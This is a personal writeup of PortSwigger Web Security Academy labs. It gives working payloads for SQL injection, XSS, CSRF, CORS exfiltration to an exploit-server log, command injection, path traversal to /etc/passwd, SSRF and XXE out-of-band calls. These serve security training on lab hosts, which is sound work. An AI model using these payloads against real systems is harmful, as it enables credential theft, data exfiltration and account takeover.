# PortSwigger Labs VCS Training Writeup ## SQL Injection [11/18] ### **[APPRENTICE] Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data** ![image](https://hackmd.io/_uploads/HkQDchRS6.png) We can try injecting SQL into the `category` parameter with some basic payload, in this case `OR 1=1 --` Imagine the server search query is as follow: `SELECT * FROM products WHERE category = 'Accessories'` Now the query is `SELECT * FROM products WHERE category = '' OR 1=1 --`, which forces all products to reveal due to the `OR 1=1` clause since it is always true. ![image](https://hackmd.io/_uploads/ry89j3RHp.png) <br> ### **[APPRENTICE] Lab: SQL injection vulnerability allowing login bypass** ![image](https://hackmd.io/_uploads/ryUthn0Sa.png) <br> Login page ![image](https://hackmd.io/_uploads/rJGihnRST.png) Server query could be similar to this: `SELECT * FROM users WHERE user = 'administrator' AND password = 'password'` ![image](https://hackmd.io/_uploads/H1w2ThRBT.png) Applying payload `OR 1=1 --` for the password field. <br> ![image](https://hackmd.io/_uploads/SJkka3AST.png) Success. <br> ### **[PRACTITIONER] Lab: SQL injection attack, querying the database type and version on Oracle** ![image](https://hackmd.io/_uploads/SkgVC3CBT.png) ![image](https://hackmd.io/_uploads/BkffWTCra.png) Again, we inject SQL to the `category` parameter. As we're using `UNION` attack, first thing to do is to enumerate number of columns. <br> ![image](https://hackmd.io/_uploads/Hk5DMTArp.png) Version number is located at `v$version` table. <br> ![image](https://hackmd.io/_uploads/Hy4NGaCr6.png) <br> ![image](https://hackmd.io/_uploads/HkmiMTRBT.png) We come to a conclusion that the table has 2 columns. Now retrieve data with payload: `'+UNION+SELECT+BANNER,NULL+FROM+V$VERSION+--` ![image](https://hackmd.io/_uploads/HJT-QpABT.png) <br> ### **[PRACTITIONER] Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft** Using the same enumeration method as above. ![image](https://hackmd.io/_uploads/HkYErp0r6.png) <br> ![image](https://hackmd.io/_uploads/rkYurTABa.png) <br> ### **[PRACTITIONER] Lab: SQL injection attack, listing the database contents on non-Oracle databases** Test with payload `' UNION SELECT '1','2' FROM information_schema.tables --`. ![image](https://hackmd.io/_uploads/HkRzqJ1U6.png) <br> Dumping all tables' names. `'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables+--` ![image](https://hackmd.io/_uploads/Skx6qJ1IT.png) <br> We found a suspicious table name `users_jvktfa`. Payload to dump data: `' UNION SELECT * FROM users_jvktfa--` ![image](https://hackmd.io/_uploads/ryUYjkyUT.png) Attained administrator credentials!! <br> ### **[PRACTITIONER] Lab: SQL injection attack, listing the database contents on Oracle** Payload: `' UNION SELECT 'a','b' FROM dual--` ![image](https://hackmd.io/_uploads/S10k6JyUa.png) Table has 2 columns. <br> Payload: `'+UNION+SELECT+table_name,NULL+FROM+all_tables--` ![image](https://hackmd.io/_uploads/rkVJAJJ8T.png) Got all tables' names. Payload: `' UNION SELECT * FROM USERS_GWBTSX--` ![image](https://hackmd.io/_uploads/rJA8C1k8p.png) Attained administrator's credential. <br> ### **[PRACTITIONER] Lab: SQL injection UNION attack, determining the number of columns returned by the query** Simply inserting values until returns no error. ![image](https://hackmd.io/_uploads/SkEtyl1Lp.png) This means table has 3 columns. <br> ### **[PRACTITIONER] Lab: SQL injection UNION attack, finding a column containing text** Enumerate number of columns with payload: `' UNION SELECT NULL,NULL,NULL--` ![image](https://hackmd.io/_uploads/HJPsblkLa.png) Table has 3 columns.<br> Now fuzz for any interesting data. We'll use the method hinted by PortSwigger. ![image](https://hackmd.io/_uploads/B1Urflk8T.png) <br> `' UNION SELECT NULL,'a',NULL--` returns no error, which means this column is string-compatible. <br> Now replace 'a' with 'c1pXgI' to solve the lab. ![image](https://hackmd.io/_uploads/HyX6He186.png) <br> ### **[PRACTITIONER] Lab: SQL injection UNION attack, retrieving data from other tables** ![image](https://hackmd.io/_uploads/BJCbDlJIa.png) As the lab suggest, we have to retrieve data from `users` table, with 2 columns `username` and `password`. <br> Payload: `' UNION SELECT username,password FROM users--` ![image](https://hackmd.io/_uploads/H108PekIT.png) <br> ### **[PRACTITIONER] Lab: SQL injection UNION attack, retrieving multiple values in a single column** `' UNION SELECT NULL,'a'--` This means second columns is string-compatible. <br> ![image](https://hackmd.io/_uploads/H1kjixJLp.png) <br> `' UNION SELECT NULL,username || ' ' || password FROM users--` ![image](https://hackmd.io/_uploads/SyWxRek8p.png) <br> ### **[PRACTITIONER] Lab: Blind SQL injection with conditional responses** ## Cross-site scripting ### **[APPRENTICE] Lab: Reflected XSS into HTML context with nothing encoded** ![image](https://hackmd.io/_uploads/HkxQOhfkLT.png) <br> ![image](https://hackmd.io/_uploads/Sk0Y3MJ86.png) <br> ### **[APPRENTICE] Lab: Stored XSS into HTML context with nothing encoded** ![image](https://hackmd.io/_uploads/ryQ4af186.png) <br> ### **[APPRENTICE] Lab: DOM XSS in document.write sink using source location.search** ![image](https://hackmd.io/_uploads/H1GNJBBLa.png) <br> ![image](https://hackmd.io/_uploads/BJSfJrSUa.png) Inspect elements reveals the search function. New search query will be put inside the `<img>` tag. ```htmlembedded <img src="/resources/images/tracker.gif?searchTerms='+query+'"> ``` We add `">` to break the `img` tag, then add whatever after to trigger the XSS. <br> This payload works for this example. ```htmlmixed "><image/src/onerror=prompt(8)> ``` <br> ![image](https://hackmd.io/_uploads/SklY-rr8a.png) <br> ### **[APPRENTICE] Lab: DOM XSS in innerHTML sink using source location.search** ![image](https://hackmd.io/_uploads/rk7oOBBLT.png)<br> `<script>alert("dak dak buh buh lmao")</script>`. Payload like this won't be executed. ![image](https://hackmd.io/_uploads/r1tS9HS86.png) Instead, we will try to trigger an error, and make the browser execute that. In this case: `<image/src/onerror=prompt(8)>` works. ![image](https://hackmd.io/_uploads/HkXkqBB8T.png) <br> ### **[APPRENTICE] Lab: DOM XSS in jQuery anchor href attribute sink using location.search source** ![image](https://hackmd.io/_uploads/SyibnHHUT.png) Source code of `Back` button. Basically, we can change attribute of DOM elements with jQuery's `attr()` function, which also means we can manipulate values sent. Change URL parameter `returnPath` with `javascript:alert(document.domain)`, then click on the `Back` button to execute the malicious script. ![image](https://hackmd.io/_uploads/B12qhrSIT.png) <br> ### **[APPRENTICE] Lab: Reflected XSS into attribute with angle brackets HTML-encoded** Search query will be inserted into `value` attribute, thus we manipulate the logic here with `bruh" onmouseover="alert(1)`. - `bruh"` is to close `value` attribute - `onmouseover="alert(1)` will trigger when we hover upon the search box ![image](https://hackmd.io/_uploads/SyL48ISUp.png) <br> Reload the page for the payload to take effect. ![image](https://hackmd.io/_uploads/HJNzUUH8p.png) <br> ### **[APPRENTICE] Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded** ![image](https://hackmd.io/_uploads/HycKtUSIT.png) Author's website will be included in the `href` tag. Manipulate this by inserting javascript. ![image](https://hackmd.io/_uploads/SyiOtLHIT.png) <br> ![image](https://hackmd.io/_uploads/ryHWqLHIp.png) Now try clicking on author's name will trigger the script. ![image](https://hackmd.io/_uploads/BkKN98HIa.png) <br> ### **[APPRENTICE] Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded** ![image](https://hackmd.io/_uploads/HkjXoIHUT.png) Search query will be automatically URL-encoded, except: ![image](https://hackmd.io/_uploads/HJihh8B8a.png) Payload: '*alert(1)*' ![image](https://hackmd.io/_uploads/SkYrTUSI6.png) <br> ### **[PRACTITIONER] Lab: DOM XSS in document.write sink using source location.search inside a select element** Focus on store display script. ![image](https://hackmd.io/_uploads/BJx9ZvrLa.png) We'll want to exploit the `document.write()` function. `document.write('<select name="storeId">');` Payload: ```htmlembedded "></select><img src=1 onerror=alert(1)> ``` Explanation: Firstly, close the `<select` tag with `"></select>` Then trigger XSS with `<img src=1 onerror=alert(1)>` Now the command will be like this: `document.write('<select name=""></select><img src=1 onerror=alert(1)>">')` ![image](https://hackmd.io/_uploads/HyLkQwrU6.png) <br> ### **[PRACTITIONER] Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded** Based on a StackOverflow answer: ![image](https://hackmd.io/_uploads/SyV9HvBUa.png) <br> ### **[PRACTITIONER] Lab: Stored DOM XSS** Take a look at `escapeHTML()` function. ![image](https://hackmd.io/_uploads/SkxjkqSU6.png) In JS, `replace()` only replace by first occurrence of character. Truly one of the JS moments :rolling_on_the_floor_laughing:. ![image](https://hackmd.io/_uploads/SkrKecHUp.png) We can exploit this by using: `<><img src=69 onerror=alert(1)>`. ![image](https://hackmd.io/_uploads/rye8xqr8p.png) <br> ## Cross-site request forgery (CSRF) [3/12] ### **[APPRENTICE] Lab: CSRF vulnerability with no defenses** Exploit code: ```htmlembedded <form method="POST" action="https://0a4700f7047873e18198f220001900a9.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="nano@nichijou"> </form> <script> document.forms[0].submit(); </script> ``` ![image](https://hackmd.io/_uploads/rkOUGL1TT.png) <br> ### **[PRACTITIONER] Lab: CSRF where token validation depends on request method** ```htmlembedded <form action="https://0ade00df03a844fe8045b251007a009c.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="hehe@xd"> </form> <script> document.forms[0].submit(); </script> ``` ![image](https://hackmd.io/_uploads/S19JSIkaT.png) <br> ### **[PRACTITIONER] Lab: CSRF where token validation depends on token being present** Exploit code ```htmlembedded <form method="POST" action="https://0aa300c80496330d82c8ed0f002600cc.web-security-academy.net/my-account/change-email"> <input type="hidden" name="$param1name" value="$param1value"> </form> <script> document.forms[0].submit(); </script> ``` ## Clickjacking [/] ### **[APPRENTICE] Lab: Basic clickjacking with CSRF token protection** ## DOM-based vulnerabilities [5/7] ### **[PRACTITIONER] Lab: DOM XSS using web messages** Website has an odd `[object Object]` on top. ![image](https://hackmd.io/_uploads/S1MXG_AUp.png) <br> Attach with it is a script, using `addEventListener` to receive message sent to window, afterwards a DOM element is changed. ![image](https://hackmd.io/_uploads/Hka3GOAIa.png) No sanitization is used, messages are taken raw. <br> Payload: `<iframe src="https://0a1a006a03ac999385f3f61000140089.web-security-academy.net/" onload="contentWindow.postMessage('<img src=1 onerror=print()>', 'https://0a1a006a03ac999385f3f61000140089.web-security-academy.net')">` Using `<iframe>` tag to inject an inline frame to page (simply because `<script>` does not work :v), and `onload` attribute will load the malicious script, in this case `contentWindow.postMessage()`. ![image](https://hackmd.io/_uploads/HJHaU_CUT.png) `<img src=1 onerror=print()>` will fail to load properly, and trigger `onerror`. ![image](https://hackmd.io/_uploads/SkOsPO0I6.png) <br> ### **[PRACTITIONER] Lab: DOM XSS using web messages and a JavaScript URL** This script will listen to messages sent, and if message contains an URL, returns the URL of website. ![image](https://hackmd.io/_uploads/ry2SudCL6.png) This does not check if it's valid URL. Payload: `<iframe src="https://0a0100f30473050580190d630015003f.web-security-academy.net/" onload="contentWindow.postMessage('javascript:print()//http:', 'https://0a0100f30473050580190d630015003f.web-security-academy.net/')">` ![image](https://hackmd.io/_uploads/SyzIsORU6.png) <br> ### **[PRACTITIONER] Lab: DOM XSS using web messages and `JSON.parse`** Webpage will constantly listening for new message, in this case a JSON, then parse using `JSON.parse` and pass to `switch` statement. ![image](https://hackmd.io/_uploads/BybAiORU6.png) What we want to do here is to inject JS into `d.url`, as it is the only injectable parameter. Payload: `<iframe src=https://0af400f2041a195c8018089000010028.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>` `d.url` is called in `load-channel` case, hence the `"type": "load-channel"` and `'url'` will carry our payload, `"url": "javascript:print()"` ![image](https://hackmd.io/_uploads/By6cXFC8p.png) <br> ### **[PRACTITIONER] Lab: DOM-based open redirection** ![image](https://hackmd.io/_uploads/BksiiFCUp.png) Webpage contains a `url` parameter that can be redirected, we can use this to redirect to any arbitrary URL of us. Payload: `https://0a9000af03da63e88477b8f60051000d.web-security-academy.net/post?postId=8&url=https://exploit-0aa3000103966328849fb70901270077.exploit-server.net/` ![image](https://hackmd.io/_uploads/B1MEhFCUa.png) <br> ### **[PRACTITIONER] Lab: DOM-based cookie manipulation** Exploit script: ```htmlembedded <iframe src="https://0a6b008303233e1c808562ec00b40033.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://0a6b008303233e1c808562ec00b40033.web-security-academy.net';window.x=1;"> ``` <br> ![image](https://hackmd.io/_uploads/Byvpi-ETa.png) <br> ## Cross-origin resource sharing (CORS) [3/4] ### **[APPRENTICE] Lab: CORS vulnerability with basic origin reflection** Exploit: ```javascript= <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0abf00f4030143e080d0fd63000900de.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` ![image](https://hackmd.io/_uploads/B1IBYS1pT.png) Click on `Deliver exploit to victim`. <br> ![image](https://hackmd.io/_uploads/HJgOKB1pp.png) Data recorded in access log. <br> ![image](https://hackmd.io/_uploads/ryk5tHJap.png) <br> ![image](https://hackmd.io/_uploads/Byi5tSkT6.png) <br> ## **[APPRENTICE] Lab: CORS vulnerability with trusted null origin** Exploit script: ```javascript= <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a1e000804a681e081cc523c004b001e.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://exploit-0a0b00ce040b810281ad51d001f00007.exploit-server.net//log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe> ``` <br> Click on `Deliver exploit to victim`. ![image](https://hackmd.io/_uploads/SkCUjSy6p.png) <br> ![image](https://hackmd.io/_uploads/ryw_sS1pT.png) <br> ![image](https://hackmd.io/_uploads/HyptoHJ6p.png) <br> ## **[PRACTITIONER] Lab: CORS vulnerability with trusted insecure protocols** Exploit script ```javascript= <script> document.location="https://stock.0a000093048cd5c884b10f82009e00ff.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a000093048cd5c884b10f82009e00ff.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a69004b04eed56d846c0ed301dd000d.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> ``` ## Clickjacking [3/5] ### **[APPRENTICE] Lab: Basic clickjacking with CSRF token protection** Exploit script: ```htmlembedded <style> iframe { position:relative; width: 1000; height: 700; opacity: 0.00001; z-index: 2; } div { position:absolute; top: 515; left: 60; z-index: 1; } </style> <div>CLICK ME PRETTY PLSS</div> <iframe src="https://0ae900940450a3ec80a108460070008f.web-security-academy.net/my-account"></iframe> ``` <br> ![image](https://hackmd.io/_uploads/H15oNZN6p.png) <br> ![image](https://hackmd.io/_uploads/S1KuNWNpp.png) <br> ### **[APPRENTICE] Lab: Clickjacking with form input data prefilled from a URL parameter** Exploit code: ```htmlembedded <style> iframe { position:relative; width: 1000; height: 700; opacity: 0.0001; z-index: 2; } div { position:absolute; top: 400; left: 80; z-index: 1; } </style> <div>CLICK ME PLSSSSSSSSSS</div> <iframe src="https://0a62000f04e85cce8976b80b00710048.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe> ``` <br> ### **[PRACTITIONER] Exploiting clickjacking vulnerability to trigger DOM-based XSS** Exploit code: ```htmlembedded <style> iframe { position:relative; width: 500; height: 700; opacity: 0.00001; z-index: 2; } div { position:absolute; top: 610; left: 80; z-index: 1; } </style> <div>Test me</div> <iframe src="https://0ad90041047b86c483f9bf5200690090.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe> ``` ## OS command injection [4/5] ### **[APPRENTICE] Lab: OS command injection, simple case** Add `;whoami` after `storeId` parameter. Payload: `https://0adc006c03b2e76783c2936e00db00b6.web-security-academy.net/product?productId=3&storeId=1;whoami` ![image](https://hackmd.io/_uploads/Bktu_cRU6.png) <br> ### **[PRACTITIONER] Lab: Blind OS command injection with time delays** Open Burp Suite, intercept the submission. ![image](https://hackmd.io/_uploads/S1yj5c0Up.png) Add `||sleep+10||` after any parameters would work. ![image](https://hackmd.io/_uploads/BJP29q0U6.png) <br> ### **[PRACTITIONER] Lab: Blind OS command injection with output redirection** ![image](https://hackmd.io/_uploads/HkVC69CL6.png) <br> ![image](https://hackmd.io/_uploads/ryil1iCIT.png) <br> ![image](https://hackmd.io/_uploads/BkZNys086.png) <br> ### **[PRACTITIONER] Lab: Blind OS command injection with out-of-band interaction** ![image](https://hackmd.io/_uploads/ryZ-ETRLT.png) <br> ## Path traversal [6/6] ### **[APPRENTICE] Lab: File path traversal, simple case** Payload: `../../../etc/passwd` Inject payload via `?filename` parameter. ![image](https://hackmd.io/_uploads/H1Uqt6AIa.png) <br> ![image](https://hackmd.io/_uploads/SyWiF60Ia.png) <br> ### **[PRACTITIONER] Lab: File path traversal, traversal sequences blocked with absolute path bypass** Read file using absolute path: `/etc/passwd` ![image](https://hackmd.io/_uploads/BkZgiTAIp.png) <br> ![image](https://hackmd.io/_uploads/HkTejpCI6.png) <br> ### **[PRACTITIONER] Lab: File path traversal, traversal sequences stripped non-recursively** Payload: `....//....//....//etc/passwd` No source code was provided, so we could assume that the website sanitize path traversal by stripping all `../` sequence. In this case, input is sanitized non-recursively, we can tackle this by `....//`, which will be truncated to `../`. ![image](https://hackmd.io/_uploads/SkmchaAIa.png) <br> ### **[PRACTITIONER] Lab: File path traversal, traversal sequences stripped with superfluous URL-decode** Common payload for URL-encoded path traversal is `%2f`. However, it does not work this time, I assume the backend recursively decodes the URL, so we need to double-encode the path with `%252f`. Payload: `..%252f..%252f..%252fetc/passwd` ![image](https://hackmd.io/_uploads/BJp0MA0Ia.png) <br> ### **[PRACTITIONER] Lab: File path traversal, validation of start of path** Payload: `/var/www/images/../../../etc/passwd` All files requested outside of `/var/www/images/` are not displayed, so we simply traverse back to the desired file using `..` ![image](https://hackmd.io/_uploads/HJGWrRRLp.png) <br> ### **[PRACTITIONER] Lab: File path traversal, validation of file extension with null byte bypass** ![image](https://hackmd.io/_uploads/rkoarC0Ia.png) Source: https://www.thehacker.recipes/web/inputs/null-byte-injection Payload: `../../../../etc/passwd%00.png` ![image](https://hackmd.io/_uploads/Sk2jrAA86.png) <br> ## Access control vulnerabilities [7/13] ### **[APPRENTICE] Lab: Unprotected admin functionality** ![image](https://hackmd.io/_uploads/HJami0A8p.png) dirsearch reveals a `robots.txt` file. ![image](https://hackmd.io/_uploads/SyrUiACUp.png) Hidden admin panel. ![image](https://hackmd.io/_uploads/rygujCCI6.png) Click `Delete` to finish. ![image](https://hackmd.io/_uploads/rkFYoA0IT.png) <br> ### **[APPRENTICE] Lab: Unprotected admin functionality with unpredictable URL** Page source contains path to admin panel. ![image](https://hackmd.io/_uploads/rykq6ACLT.png) <br> ![image](https://hackmd.io/_uploads/BkMvCC08a.png) <br> ![image](https://hackmd.io/_uploads/H1DdACRUa.png) <br> ### **[APPRENTICE] Lab: User role controlled by request parameter** ![image](https://hackmd.io/_uploads/r1YXyyJv6.png) Change `Admin` value to `true`. ![image](https://hackmd.io/_uploads/HkuLy11v6.png) Logged in! ![image](https://hackmd.io/_uploads/ByBd1J1Da.png) <br> ### **[APPRENTICE] Lab: User role can be modified in user profile** Log in as `wiener` user. ![image](https://hackmd.io/_uploads/rJYiXJJD6.png) Intercept the email change process, add `roleid` to JSON. ![image](https://hackmd.io/_uploads/HkS2SkywT.png) Back to admin panel and delete user `carlos`. <br> ### **[APPRENTICE] Lab: User ID controlled by request parameter** Login as wiener user. ![image](https://hackmd.io/_uploads/SksBO8Lwa.png) <br> Notice that we can change id is denoted with `id` parameter. ![image](https://hackmd.io/_uploads/HyFvd8Uv6.png) <br> Change id to `carlos`. ![image](https://hackmd.io/_uploads/Syzn_UUDT.png) API key retrieved. ### **[APPRENTICE] Lab: User ID controlled by request parameter, with unpredictable user IDs** User id is generated with random unpredictable pattern. ![image](https://hackmd.io/_uploads/SkDij8Ivp.png) <br> Back to home, find a blog post by carlos. ![image](https://hackmd.io/_uploads/By2lhLUvp.png) <br> Leaked user id. ![image](https://hackmd.io/_uploads/rys-nLIwp.png) <br> Logged in. ![image](https://hackmd.io/_uploads/rJzoh8IDa.png) <br> ![image](https://hackmd.io/_uploads/r1IT388va.png) <br> ### **[APPRENTICE] Lab: Insecure direct object references** Vulnerability is in live chat feature. ![image](https://hackmd.io/_uploads/r1C_BUIDT.png) <br> ![image](https://hackmd.io/_uploads/rknjS8IvT.png) <br> ![image](https://hackmd.io/_uploads/H1gpHL8wa.png) We can exploit IDOR vuln by changing file name to `1.txt`, since we can only download file with index from 2, therefore `1.txt` is the secret file. ![image](https://hackmd.io/_uploads/Sy6mIILPT.png) <br> ![image](https://hackmd.io/_uploads/HyQS8IIv6.png) We successfully leaked other people's transcript. ![image](https://hackmd.io/_uploads/S1zFIILPp.png) <br> ![image](https://hackmd.io/_uploads/Byk5LLIvT.png) <br> ## File upload vulnerabilities [2/7] ### **[APPRENTICE] Lab: Remote code execution via web shell upload** We can achieve RCE by exploiting file upload vuln via uploading avatar. ![image](https://hackmd.io/_uploads/BkrNxPLDp.png) <br> Crafting a simple web shell. ![image](https://hackmd.io/_uploads/H1OYlwIPT.png) <br> ![image](https://hackmd.io/_uploads/BJysewUDT.png) Upload success. Avatars are served at `/files/avatars/`. Head to that and find our webshell. Our shell is made to be controlled with parameter `c`. Try executing `whoami`. ![image](https://hackmd.io/_uploads/Sk5EbDIPa.png) Goal of this lab is to get carlos' secret at `/home/carlos/secret`. ![image](https://hackmd.io/_uploads/B1HK-w8Da.png) <br> ![image](https://hackmd.io/_uploads/r16c-P8va.png) <br> ![image](https://hackmd.io/_uploads/SylFj-wUvp.png) <br> ### **[APPRENTICE] Lab: Web shell upload via Content-Type restriction bypass** Similar to previous lab, we can upload files, but restricted to only jpeg and png. ![image](https://hackmd.io/_uploads/SyOvXvLPT.png) <br> ![image](https://hackmd.io/_uploads/r1yBQvLPp.png) <br> ![image](https://hackmd.io/_uploads/rk8qQvUDa.png) Files uploaded are filtered using `Content-Type` header to accept images only. We can tackle this by altering `application/octet-stream` to `image/png`. ![image](https://hackmd.io/_uploads/S1JXVvLPT.png) <br> ![image](https://hackmd.io/_uploads/BywS4vLPT.png) <br> ![image](https://hackmd.io/_uploads/Hk5wVP8wT.png) <br> ![image](https://hackmd.io/_uploads/ryztEv8va.png) <br> ![image](https://hackmd.io/_uploads/BkAYNDIva.png) <br> ## Information disclosure [4/5] ### **[APPRENTICE] Lab: Information disclosure in error messages** Change `productId` to `'` and observe the error. ![image](https://hackmd.io/_uploads/H19t4_LPT.png) ### **[APPRENTICE] Lab: Information disclosure on debug page** Debug page is at `/cgi-bin/phpinfo.php`. ![image](https://hackmd.io/_uploads/SJepvOUva.png) <br> ![image](https://hackmd.io/_uploads/SJ0yddIDT.png) <br> ![image](https://hackmd.io/_uploads/Bkk-_OUv6.png) <br> ### **[APPRENTICE] Lab: Source code disclosure via backup files** Firstly, I checked `robots.txt` if there's any info. ![image](https://hackmd.io/_uploads/SJFJcdUvp.png) There exist a folder name `/backup`. ![image](https://hackmd.io/_uploads/SJn-5OIwa.png) Inside is a backup file `ProductTemplate.java.bak`. ![image](https://hackmd.io/_uploads/ryttquLv6.png) <br> Credentials are hard-coded into the source code. ![image](https://hackmd.io/_uploads/ryD55dUvp.png) <br> ![image](https://hackmd.io/_uploads/BJJp5uLw6.png) <br> ![image](https://hackmd.io/_uploads/BkkJo_LDp.png) <br> ### **[PRACTITIONER] Lab: Information disclosure in version control history** Lab name implies existence of `.git` (or `.hg`). I tried with `.git` and it worked. ![image](https://hackmd.io/_uploads/HkMWJtIwa.png) <br> ![image](https://hackmd.io/_uploads/BkZU4FLwp.png) <br> ![image](https://hackmd.io/_uploads/SkYOVtIvp.png) <br> ## Business logic vulnerabilities [4/11] ### **[APPRENTICE] Lab: Excessive trust in client-side controls** ![image](https://hackmd.io/_uploads/ryLewFIPa.png) Intercept add to cart process, notice we can change item price. ![image](https://hackmd.io/_uploads/SJZ5PYUva.png) Edit `price` to 1. ![image](https://hackmd.io/_uploads/BJHaPFLD6.png) <br> ![image](https://hackmd.io/_uploads/SJnCDF8Da.png) <br> ### **[APPRENTICE] Lab: High-level logic vulnerability** Notice we can control `quantity` value to lower the total price. E.g: ![image](https://hackmd.io/_uploads/SyHq--FDp.png) Changing `quantity` to a negative value. ![image](https://hackmd.io/_uploads/BJRcQZFvp.png) Total price has been deducted to under $100 that we can purchase. ![image](https://hackmd.io/_uploads/rk2xEZYPT.png) <br> ### **[APPRENTICE] Lab: Inconsistent security controls** Dirsearch reveals `/admin` panel, although can only be accessed with `@dontwannacry.com` mail. ![image](https://hackmd.io/_uploads/Hk-pO-Kwa.png) <br> Email can be changed in `My account` page. ![image](https://hackmd.io/_uploads/r1VUFbKDp.png) <br> Now we're authorized to access admin panel. ![image](https://hackmd.io/_uploads/ry7tY-tDp.png) <br> ![image](https://hackmd.io/_uploads/rJKhKbYDT.png) <br> ![image](https://hackmd.io/_uploads/rkuptbtP6.png) <br> ### **[APPRENTICE] Lab: Flawed enforcement of business rules** Newly registered account can use this code at checkout. ![image](https://hackmd.io/_uploads/HyebnbFvT.png) <br> Signing up to newsletter also gives us a coupon. ![image](https://hackmd.io/_uploads/HkmM2bYD6.png) ![image](https://hackmd.io/_uploads/HkWV3-FwT.png) <br> Apparently, applying the same code twice in a row is not allowed(source: trust me bro :D), we can abuse the coupon system by alternating between the coupons. ![image](https://hackmd.io/_uploads/HJ4njZtwp.png) <br> ![image](https://hackmd.io/_uploads/S1nINGKwa.png) <br> ## NoSQL injection [2/4] ### **[APPRENTICE] Lab: Detecting NoSQL injection** NoSQL tends to be MongoDB, we can circumvent this by using evaluation that's always results to true. Payload: `Accessories'||1||'` ![image](https://hackmd.io/_uploads/B1IXhbTwp.png) <br> ![image](https://hackmd.io/_uploads/H1aynZ6vp.png) <br> ### **[APPRENTICE] Lab: Exploiting NoSQL operator injection to bypass authentication** Intercepting the login process. ![image](https://hackmd.io/_uploads/HJ_iJf6vp.png) <br> ![image](https://hackmd.io/_uploads/B102yGTDa.png) <br> Assume that admin account starts with ad.*, we can try using regex match to match username to that of admin account. ![image](https://hackmd.io/_uploads/HkSnlf6wT.png) <br> ![image](https://hackmd.io/_uploads/ByUTxfTvp.png) <br> ![image](https://hackmd.io/_uploads/HkOCxzTP6.png) <br> ## Server-side request forgery (SSRF) [5/7] ### **[APPRENTICE] Lab: Basic SSRF against the local server** Intercept `checkStock` request. ![image](https://hackmd.io/_uploads/B1_Qp-4TT.png) <br> Change `stockApi`'s value `http://localhost/admin` ![image](https://hackmd.io/_uploads/B1mpR-46T.png) ![image](https://hackmd.io/_uploads/Bkt1kfV66.png) <br> ![image](https://hackmd.io/_uploads/r12JkMV6a.png) <br> Delete user `carlos` with `http://localhost/admin/delete?username=carlos` <br> ![image](https://hackmd.io/_uploads/Syd41fV6T.png) <br> ### **[APPRENTICE] Lab: Basic SSRF against another back-end system** Intercept `Check stock`, send to `Intruder`. ![image](https://hackmd.io/_uploads/ryiggG4Ta.png) <br> ![image](https://hackmd.io/_uploads/rJJceM4pT.png) <br> Select payload, then start attack. ![image](https://hackmd.io/_uploads/BkK5xf4pT.png) <br> Payload `248` revealed an admin panel. ![image](https://hackmd.io/_uploads/B15ybMVT6.png) <br> Send request to `Repeater`, append `/admin/delete?username=carlos` to `stockApi`'s value. ![image](https://hackmd.io/_uploads/BJZBZfNpT.png) <br> ![image](https://hackmd.io/_uploads/ryirZMN6T.png) <br> ### **[PRACTITIONER] Lab: Blind SSRF with out-of-band detection** Visit product, intercept and send to `Repeater`. ![image](https://hackmd.io/_uploads/BJS1mf4a6.png) <br> Insert Collaborator Payload. ![image](https://hackmd.io/_uploads/HyXL7GETp.png) <br> ![image](https://hackmd.io/_uploads/SJOFQf4aa.png) Click `Send`. Go to `Collaborator` tab, click `Poll now`. ![image](https://hackmd.io/_uploads/BywSVGVap.png) <br> ![image](https://hackmd.io/_uploads/BJ0dNMN66.png) <br> ### **[PRACTITIONER] Lab: SSRF with blacklist-based input filter** Intercept `Check stock` and send to `Repeater`. Change `stockApi`'s value to `http://127.1/%2561dmin`. ![image](https://hackmd.io/_uploads/H1YlIf4aT.png) <br> Now we can view admin's panel. Delete user `carlos` with `http://127.1/%2561dmin/delete?username=carlos` ![image](https://hackmd.io/_uploads/rJR8LfNaT.png) <br> ### **[PRACTITIONER] Lab: SSRF with filter bypass via open redirection vulnerability** Intercept `Check stock`. ![image](https://hackmd.io/_uploads/HyzuPMNap.png) <br> ## XML external entity (XXE) injection [7/9] ### **[APPRENTICE] Lab: Exploiting XXE using external entities to retrieve files** Source: https://github.com/payloadbox/xxe-injection-payload-list ![image](https://hackmd.io/_uploads/rJntQf6Pa.png) <br> ![image](https://hackmd.io/_uploads/B1WyUzavp.png) <br> ### **[APPRENTICE] Lab: Exploiting XXE to perform SSRF attacks** [/9] ![image](https://hackmd.io/_uploads/B1zlvzpDT.png) <br> This leads to info leakage, in this case, folder's name. ![image](https://hackmd.io/_uploads/BknvwfavT.png) <br> ![image](https://hackmd.io/_uploads/rJjsDM6w6.png) <br> ![image](https://hackmd.io/_uploads/ryJaPfaDa.png) <br> ![image](https://hackmd.io/_uploads/S1HbuG6DT.png) <br> ![image](https://hackmd.io/_uploads/B1DMOM6Pa.png) <br> ### **[PRACTITIONER] Lab: Blind XXE with out-of-band interaction** This lab requires burp collaborator. Add entity to XML data: `<!DOCTYPE stockCheck [ <!ENTITY ent SYSTEM "http://wnnjg11iyi477u7pxf9gmjcv4mady3ms.oastify.com"> ]>` ![image](https://hackmd.io/_uploads/B16g3fpPT.png) <br> ![image](https://hackmd.io/_uploads/rk9WnfpD6.png) <br> 